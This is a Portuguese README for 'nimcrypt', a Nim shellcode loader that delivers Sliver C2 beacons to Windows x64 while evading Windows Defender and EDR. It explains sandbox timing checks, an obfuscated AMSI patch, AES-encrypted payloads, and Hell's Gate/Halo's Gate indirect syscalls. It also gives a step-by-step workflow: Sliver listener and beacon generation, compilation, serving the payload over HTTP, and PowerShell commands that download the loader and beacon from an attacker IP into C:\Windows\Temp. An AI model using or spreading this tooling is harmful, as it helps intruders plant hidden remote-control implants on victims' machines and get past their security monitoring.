
Ferramenta de criptografia baseada em Nim para ofuscar shellcode e payloads visando evadir o Windows Defender.
# nimcrypt
Um carregador de shellcode Sliver escrito em Nim direcionado ao Windows x64. Duas variantes cobrindo as duas situações de entrega mais comuns. Testado contra o Windows Defender com proteção em tempo real ativada.
## Variantes
### stager
Lê um blob de shellcode criptografado do disco, descriptografa-o na memória e faz auto-injeção. Use esta quando você já tem uma primitiva de queda de arquivo e quer um binário pequeno e simples.
```
loader.exe <shellcode.bin> [key_hex iv_hex]
```
Key e IV são opcionais. Se omitidos, o arquivo é tratado como shellcode bruto não criptografado.
### stageless
Baixa o blob criptografado do seu C2 via HTTP usando a pilha WinHTTP do Windows, descriptografa-o na memória e faz auto-injeção. Nenhum arquivo toca o disco. Use esta quando você pode executar um binário no alvo mas não pode confiavelmente deixar cair um segundo arquivo.
Edite as constantes no topo de `stageless/loader.nim` antes de compilar:
```nim
c2Host = "C2_HOST"
c2Port = 443'u16
c2Path = "/payload.bin"
scKey = "..." # 64 hex chars from encrypt.py
scIV = "..." # 32 hex chars from encrypt.py
```
## Técnicas
### Evasão de sandbox
O carregador stageless chama `Sleep(5000)` na inicialização e mede o tempo real decorrido com `GetTickCount64`. Se menos de 4500ms passaram, o processo sai. A maioria dos ambientes automatizados de sandbox avançam rapidamente ou pulam os sleeps, fazendo a verificação falhar. Isso é executado antes de qualquer atividade de rede ou execução de shellcode, então sandboxes que inspecionam o comportamento de rede não veem nada.
### Bypass do AMSI
`amsi.nim` faz patch em `AmsiScanBuffer` em tempo de execução usando duas camadas de ofuscação:
**Ocultação de string via hashing FNV-1a.** A string `AmsiScanBuffer` nunca aparece no binário. Em vez disso, seu hash FNV-1a é calculado em tempo de compilação e armazenado como uma constante. Em tempo de execução, o carregador percorre a tabela de exportação da amsi.dll, faz hash de cada nome de exportação e compara com o valor armazenado para encontrar o endereço da função sem nunca manter a string na memória.
**Ofuscação XOR em tempo de compilação.** Tanto o nome da DLL (`amsi.dll`) quanto os bytes do patch (`xor eax, eax; ret` = `31 C0 C3`) são codificados com XOR em tempo de compilação usando uma chave aleatória gerada nova a cada build via um subprocesso Python. A chave é embutida como uma constante e os bytes são decodificados em tempo de execução imediatamente antes do uso. Os bytes brutos mudam a cada build, quebrando assinaturas estáticas na sequência do patch.
O patch sobrescreve os primeiros três bytes de `AmsiScanBuffer` com `xor eax, eax; ret`, fazendo cada chamada retornar `AMSI_RESULT_CLEAN` independentemente da entrada.
### Criptografia do payload
`encrypt.py` criptografa shellcode bruto com AES-256-CBC usando uma chave de 32 bytes gerada aleatoriamente e IV de 16 bytes. O carregador descriptografa in-place usando a API BCrypt do Windows, então nenhuma biblioteca de criptografia de terceiros é necessária no alvo.
### Transição de memória RW para RX
A memória é alocada como `PAGE_READWRITE`, o shellcode é escrito nela, e então a região é alterada para `PAGE_EXECUTE_READ` antes da execução. Alocar diretamente como `PAGE_EXECUTE_READWRITE` é uma assinatura bem conhecida que o Defender e EDRs sinalizam explicitamente. Separar as fases de escrita e execução evita esse padrão.
### Syscalls indiretas (Hell's Gate + Halo's Gate)
`stageless/syscalls.nim` contorna tanto a camada da API Win32 (kernel32.dll) quanto quaisquer hooks de userland na ntdll.dll colocados por EDRs.
**Resolução do SSN.** Na inicialização, o carregador obtém o endereço base da ntdll e analisa sua tabela de exportação PE, coletando cada exportação `Nt*` ordenada por RVA. Para cada função NT que precisamos, ele verifica os primeiros quatro bytes:
- `4C 8B D1 B8` (`mov r10, rcx; mov eax, imm32`) significa que o stub está limpo e o SSN é lido diretamente dos bytes 4-5. Isto é Hell's Gate.
- Qualquer outra coisa significa que o prólogo da função foi patchado por um hook do EDR. Nesse caso, o carregador percorre vizinhos na lista ordenada até encontrar um stub limpo, então calcula o SSN alvo como `neighbor_SSN +/- distance`. Os SSNs incrementam em um por stub em ordem de endereço. Isto é Halo's Gate.
**Localização do gadget.** O carregador escaneia o primeiro stub Nt* limpo que encontra pela sequência de bytes `0F 05 C3` (`syscall; ret`). Isso dá um endereço dentro da seção `.text` da imagem da ntdll que podemos reutilizar.
**Geração do stub.** Para cada função necessária, um stub de 22 bytes é escrito em uma única página RW que é alterada para RX antes do uso:
```
4C 8B D1 mov r10, rcx
B8 xx xx 00 00 mov eax, <SSN>
FF 25 00 00 00 00 jmp qword ptr [rip+0]
xx xx xx xx xx xx xx xx gadget address
```
O `jmp [rip+0]` desreferencia os 8 bytes imediatamente seguintes (o endereço do gadget) e redireciona a execução para a sequência `syscall; ret` existente na ntdll. A instrução `syscall` dispara a partir do `.text` da ntdll, e não da nossa alocação anônima, derrotando qualquer rastreamento em nível de kernel de qual região de memória emitiu o syscall.
As quatro funções cobertas pelos syscalls indiretos são `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, `NtCreateThreadEx` e `NtWaitForSingleObject`.
### Auto-injeção
Após a descriptografia, o carregador stageless aloca uma região RW em seu próprio processo via `NtAllocateVirtualMemory`, copia o shellcode com `copyMem`, altera a região para RX via `NtProtectVirtualMemory` e cria uma thread via `NtCreateThreadEx`. A thread principal então bloqueia indefinidamente em `NtWaitForSingleObject`, mantendo o processo vivo enquanto as goroutines do beacon executam. Todas as quatro chamadas passam pelos stubs de syscall indireta descritos acima.
A auto-injeção mantém a superfície de chamada mínima. Não há chamadas de API entre processos (`WriteProcessMemory`, `CreateRemoteThread`, etc.), que são os principais vetores de detecção para injeção remota clássica.
## Fluxo de execução (stageless)
1. Verificação de temporização: dormir 5s, sair se decorrido < 4.5s
2. Patch do AMSI: resolver `AmsiScanBuffer` via FNV-1a, sobrescrever com `xor eax, eax; ret`
3. Resolver stubs de syscall indireta: analisar exportações da ntdll, encontrar SSNs (Hell's Gate + Halo's Gate), localizar gadget `syscall; ret`, escrever stubs
4. Download: requisição GET WinHTTP, ler corpo da resposta
5. Descriptografar: AES-256-CBC via BCrypt in place
6. Alocar: `NtAllocateVirtualMemory` no próprio processo (RW) via syscall indireta
7. Copiar shellcode para a alocação
8. Proteger: `NtProtectVirtualMemory` para PAGE_EXECUTE_READ via syscall indireta
9. Executar: `NtCreateThreadEx` via syscall indireta
10. Aguardar: `NtWaitForSingleObject` no handle da thread via syscall indireta
## Fluxo de execução (stager)
1. Patch do AMSI
2. Ler arquivo de shellcode do disco
3. Descriptografar se key e IV foram fornecidos
4. `VirtualAlloc` (RW), copiar shellcode, `VirtualProtect` para RX
5. Executar via cast de ponteiro de função
## Requisitos
Na sua máquina de build Linux:
- Nim + nimble (`nimble install winim`)
- mingw-w64 (`x86_64-w64-mingw32-gcc`)
- Python 3 + pycryptodome (`pip install pycryptodome`)
## Fluxo de trabalho completo
### 1. Iniciar um listener Sliver
```
[server] sliver > mtls --lhost 10.10.14.42 --lport 443
```
### 2. Gerar shellcode beacon
```
[server] sliver > generate beacon --mtls 10.10.14.42:443 --os windows --arch amd64 --format shellcode --skip-symbols beacon
```
### 3. Criptografar
```bash
python3 encrypt.py beacon.bin
# key: 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997
# iv: 83b82994e8c512d536f7d42e89d6e761
```
### 4. Definir constantes e compilar
Edite `stageless/loader.nim` e defina `c2Host`, `c2Port`, `c2Path`, `scKey`, `scIV`, então a partir da raiz do projeto:
```bash
# stageless
nim c -d:release -o:bins/loader.exe stageless/loader.nim
# stager
nim c -d:release -o:bins/loader.exe stager/loader.nim
```
Sempre compile a partir da raiz do projeto para que apenas o `nim.cfg` raiz seja carregado. A saída é um PE Windows x64 estaticamente vinculado, sem dependências externas de DLL além das bibliotecas padrão do sistema.
### 5. Servir ou transferir
Stageless: sirva o blob criptografado via HTTP na porta correspondente a `c2Port`:
```bash
cd bins && python3 -m http.server 443
```
Stager: transfira ambos os arquivos para o alvo:
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/loader.exe", "C:\Windows\Temp\loader.exe")
(New-Object Net.WebClient).DownloadFile("http://10.10.14.42/beacon_enc.bin", "C:\Windows\Temp\beacon.bin")
```
### 6. Executar
Stageless:
```
loader.exe
```
Stager com criptografia:
```
loader.exe beacon.bin 16cd37303052eb9068cf18eee3fd36c2f448afc2778bbd5aa6b2eaf416191997 83b82994e8c512d536f7d42e89d6e761
```
Stager sem criptografia:
```
loader.exe shellcode.bin
```
## Entrega via PowerShell
Se for entregar via um cradle de download do PowerShell, o AMSI escaneará o script antes do carregador executar. Faça patch do AMSI na sua sessão PS primeiro:
```bash
python3 gen_amsi.py
```
Cole a saída na sessão do PS antes de baixar ou executar qualquer coisa. O script resolve `AmsiScanBuffer` pelo hash da tabela de exportação, então a string nunca aparece em texto plano, e todos os bytes do patch são codificados com XOR com uma chave aleatória por execução.
## Notas
- Requer Windows 10 / Server 2016+ (Universal CRT)
- `BCryptSetProperty` para modo de encadeamento retorna `STATUS_INVALID_PARAMETER` mas BCrypt usa CBC por padrão, a descriptografia funciona corretamente
- Syscalls indiretas cobrem apenas as quatro funções NT críticas para injeção. Chamadas Winsock e BCrypt ainda passam por seus caminhos normais de API, o que é aceitável já que essas chamadas são benignas comportamentalmente isoladamente
- A instrução `syscall` nos stubs dispara de dentro da seção `.text` da ntdll (com suporte de imagem, assinada pela Microsoft), não da página do stub, derrotando o rastreamento de origem do syscall em nível de kernel
## Referências
- https://github.com/gatariee/ldrgen
- https://github.com/D3Ext/Hooka
Você pode encontrar mais detalhes sobre Mecanismos, Técnicas e outras ferramentas do Defender no [meu blog](https://chaelsoo.me)